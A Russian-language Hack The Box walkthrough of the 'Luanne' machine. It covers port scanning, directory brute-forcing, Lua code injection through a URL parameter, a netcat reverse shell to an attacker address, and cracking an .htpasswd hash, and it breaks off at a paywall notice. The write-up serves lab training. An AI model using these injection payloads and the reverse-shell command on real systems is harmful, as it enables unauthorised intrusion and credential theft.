Се­год­ня мы раз­берем тач­ку под наз­вани­ем Luanne с пло­щад­ки Hack The Box, а на ее при­мере я покажу, как экс­плу­ати­ровать инъ­екции в код на Lua, обхо­дить дирек­тории на веб‑сер­вере, а так­же как выпол­нять при­виле­гиро­ван­ные коман­ды в NetBSD без исполь­зования sudo. Уро­вень слож­ности — Easy, так что полез­но будет в пер­вую оче­редь нович­кам.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

IP-адрес машины — 10.10.10.218, сра­зу добав­ляем его в /etc/hosts для удобс­тва.

10.10.10.218 luanne.htb

На­чина­ем со ска­ниро­вания пор­тов. Я, как всег­да, исполь­зую неболь­шой скрипт, который запус­кает Nmap в два эта­па: быс­трое общее ска­ниро­вание и затем на обна­ружен­ных пор­тах — ска­ниро­вание со скрип­тами.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

В резуль­тате ска­ниро­вания мы узна­ем о трех служ­бах:

  • порт 22 — SSH;
  • порт 80 — веб‑сер­вер nginx 1.19.0;
  • порт 9001 — асин­хрон­ный сокет‑сер­вер Medusa 1.12.

На SSH нам ловить нечего, так как единс­твен­ное, что там мож­но сде­лать, — это брут­форсить учет­ные дан­ные. Вмес­то это­го поп­робу­ем поис­кать точ­ку вхо­да на сай­те. Одна­ко и на 80-м, и на 9001-м пор­тах нас ожи­дает HTTP-авто­риза­ция, в дан­ном слу­чае — Basic. Пос­коль­ку никаких учет­ных дан­ных у нас вна­чале нет, это серь­езная проб­лема.

Еще Nmap показал нам наличие фай­ла robots.txt на сер­вере nginx. Этот файл нужен, что­бы огра­ничить обход сай­та поис­ковыми робота­ми (Google, Яндекс и про­чими). Иног­да в нем мож­но почер­пнуть идеи для раз­вития ата­ки.

 

Перебор каталогов

Файл robots.txt сос­тоит из набора инс­трук­ций, при помощи которых мож­но задать фай­лы, стра­ницы или катало­ги сай­та, которые не будут индекси­ровать­ся поис­ковыми движ­ками. К при­меру, сде­лать так, что­бы в резуль­татах поис­ковых сис­тем не появ­лялись стра­ницы авто­риза­ции адми­нис­тра­торов сай­та, фай­лы или пер­сональ­ная информа­ция со стра­ниц поль­зовате­лей. Но у любой медали две сто­роны: зло­умыш­ленни­ки и пен­тесте­ры, конеч­но же, сра­зу заг­лядыва­ют в этот файл, что­бы узнать, что пря­чут адми­ны.

Наш слу­чай не исклю­чение. В robots.txt есть дирек­тория weather. Нап­рямую ее про­честь нель­зя, но если сде­лать перебор по сло­варю, то мы можем нат­кнуть­ся на что‑то инте­рес­ное. Для ска­ниро­вания я исполь­зовал ути­литу ffuf. В качес­тве парамет­ров ей нуж­но передать спи­сок для перебо­ра (опция -w) и URL (опция -u). Мес­то в URL, куда будут под­став­лять­ся сло­ва из спис­ка, отме­чает­ся сло­вом FUZZ.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://luanne.htb/weather/FUZZ/

Результат сканирования содержимого каталога weather
Ре­зуль­тат ска­ниро­вания содер­жимого катало­га weather

Мы быс­тро находим еще один каталог, который вер­нул код 200, а это зна­чит, что он нам дос­тупен.

 

Точка входа

На­ходим каталог forecast и про­буем зай­ти туда через бра­узер. Стра­ница пус­та, но если пос­мотреть исходник отве­та, то уви­дим под­сказ­ку.

Сообщение о требовании передачи параметра city
Со­обще­ние о тре­бова­нии переда­чи парамет­ра city

Тре­бует­ся ука­зать параметр city, одно из зна­чений которо­го может быть list. Дела­ем соот­ветс­тву­ющий зап­рос и получа­ем спи­сок городов в фор­мате JSON.

Обыч­но при тес­тирова­нии веб‑при­ложе­ний сто­ит опре­делить три реак­ции при­ложе­ния на поль­зователь­ский зап­рос: успешно обра­ботан­ный зап­рос, неудач­но обра­ботан­ный зап­рос и ошиб­ка при обра­бот­ке зап­роса. Давай выпол­ним три зап­роса:

  • зап­рос валид­ного города (город из спис­ка);
  • зап­рос невалид­ного города (город, которо­го нет в спис­ке);
  • зап­рос, который вызыва­ет ошиб­ку (исполь­зует раз­ные слу­жеб­ные сим­волы, в дан­ном слу­чае — кавыч­ку).
Запрос города из списка
Зап­рос города из спис­ка
Запрос города, которого нет в списке
Зап­рос города, которо­го нет в спис­ке
Вызов ошибки отправкой символа кавычки
Вы­зов ошиб­ки отправ­кой сим­вола кавыч­ки

В пос­леднем слу­чае видим ошиб­ку от интер­пре­тато­ра язы­ка Lua: attempt to call a nil value. Это зна­чит, что наш ввод был под­став­лен в скрипт без пред­варитель­ной чис­тки, а это откры­вает воз­можность для инъ­екции кода.

 

Закрепление

Lua — скрип­товый язык, а зна­чит, нефиль­тро­ван­ные встав­ки в код очень опас­ны. Мож­но вмес­то зна­чения передать зак­рыва­ющую кавыч­ку и любой код на Lua — он будет выпол­нен интер­пре­тато­ром как род­ной.

Да­вай поп­робу­ем подоб­ным обра­зом зак­рыть стро­ку и добавить фун­кцию execute из модуля os — она выпол­няет любую коман­ду опе­раци­онной сис­темы. Даль­ше добавим объ­явле­ние перемен­ной и откры­вающую кавыч­ку, что­бы зак­рыва­ющая кавыч­ка, иду­щая в коде даль­ше, не оста­лась без пары и не при­вела к ошиб­ке исполне­ния. Вот так, к при­меру, мож­но про­читать файл /etc/passwd:

') os.execute("cat /etc/passwd") x=('

Пол­ный зап­рос, сде­лан­ный коман­дой сurl, будет выг­лядеть сле­дующим обра­зом:

curl "http://luanne.htb/weather/forecast/?city=London')%20os.execute("cat%20/etc/passwd")%20x%3D('"

Результат вставки кода
Ре­зуль­тат встав­ки кода

Так как коман­ды успешно выпол­няют­ся, мы можем прос­то выпол­нить готовый бэк­шелл и получить воз­можность управлять машиной.

os.execute("rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc [ip] [port] >/tmp/r")

Этот код дол­жен выз­вать кон­нект на ука­зан­ный адрес, нуж­но лишь впи­сать IP и порт. Но преж­де чем запус­кать эту коман­ду, соз­дадим лис­тенер, который будет при­нимать это соеди­нение. Я советую исполь­зовать rlwrap, это удоб­ная обо­лоч­ка, которая в чис­ле про­чего ведет исто­рию команд. В качес­тве лис­тенера исполь­зуем извес­тный netcat.

apt install rlwrap
rlwrap nc -lvp [port]

За­коди­руем нашу наг­рузку в URL Encode и выпол­ним зап­рос. Поч­ти момен­таль­но в кон­соли netcat получа­ем сооб­щение об обратном под­клю­чении.

curl "http://luanne.htb/weather/forecast/?city=London')%20os%2Eexecute%28%22rm%20%2Ftmp%2Fr%3Bmkfifo%20%2Ftmp%2Fr%3Bcat%20%2Ftmp%2Fr%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E108%204321%20%3E%2Ftmp%2Fr%22%29%20x%3D('"

Получение бэкшелла
По­луче­ние бэк­шелла

Ко­ман­да id помога­ет нам узнать, что мы работа­ем в кон­тек­сте учет­ной записи служ­бы _httpd.

 

Продвижение

Сна­чала нем­ного про­апгрей­дим свой шелл, так как нам может при­годить­ся обо­лоч­ка TTY. Ее мож­но получить с помощью име­юще­гося в целевой сис­теме интер­пре­тато­ра Python 3.

python3 -c 'import pty; pty.spawn("/bin/sh")'
/bin/bash

Дос­туп к хос­ту есть, но для даль­нейше­го прод­вижения нам нуж­ны учет­ные дан­ные поль­зовате­лей. Не беда — нуж­но лишь знать мес­та, где их искать. Одно из таких мест — сер­верная часть сай­та. Поч­ти у всех сай­тов есть источник учет­ных дан­ных, в боль­шинс­тве слу­чаев это БД. То есть ата­кующий получа­ет дос­туп к базе дан­ных и извле­кает из нее име­на поль­зовате­лей и хеши их паролей.

В нашем слу­чае исполь­зует­ся аутен­тифика­ция HTTP Basic, а это зна­чит, что какие‑то учет­ные дан­ные получить все же мож­но. Сна­чала про­верим наличие фай­ла .htpasswd в рабочей дирек­тории веб‑сер­вера, этот файл содер­жит имя и хеш пароля поль­зовате­ля.

Файл .htpasswd
Файл .htpasswd

Сох­раним хеш в файл и перебе­рем его, к при­меру, с помощью John The Ripper. В парамет­рах я ука­зываю сло­варь с пароля­ми и файл с хешем. «Джон» сам опре­делит алго­ритм, выпол­нит перебор и в слу­чае успе­ха вер­нет нам пароль.

john --wordlist=./tools/rockyou.txt web.hash

Результат перебора пароля
Ре­зуль­тат перебо­ра пароля

С этим паролем не получа­ется авто­ризо­вать­ся как поль­зователь сис­темы, поэто­му про­дол­жаем искать. Я под­метил, что домаш­няя поль­зователь­ская дирек­тория /home/r.michaels дос­тупна для чте­ния груп­пе users, а для локаль­ного хос­та прос­лушива­ются TCP-пор­ты 3000 и 3001 (это мож­но узнать коман­дой netstat -ant).

Содержимое каталога /home/
Со­дер­жимое катало­га /home/
Прослушиваемые TCP-порты
Прос­лушива­емые TCP-пор­ты

Что­бы опре­делить, за что отве­чают эти пор­ты, под­клю­чим­ся к каж­дому с помощью netcat и пос­мотрим, что нам вер­нут.

nc 127.0.0.1 3000
nc 127.0.0.1 3001

Подключение к портам 3000 и 3001
Под­клю­чение к пор­там 3000 и 3001

Как видишь, эти пор­ты отно­сят­ся к веб‑сер­веру bozotic. Про­верим, что он нам даст пос­мотреть в кор­невом катало­ге. Ответ на обо­их пор­тах оди­нако­вый — тре­бует­ся HTTP-авто­риза­ция (код 401).

curl 127.0.0.1:3000
curl 127.0.0.1:3001

Ответ сервера при обращении к корневому каталогу
От­вет сер­вера при обра­щении к кор­невому катало­гу

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Оставить мнение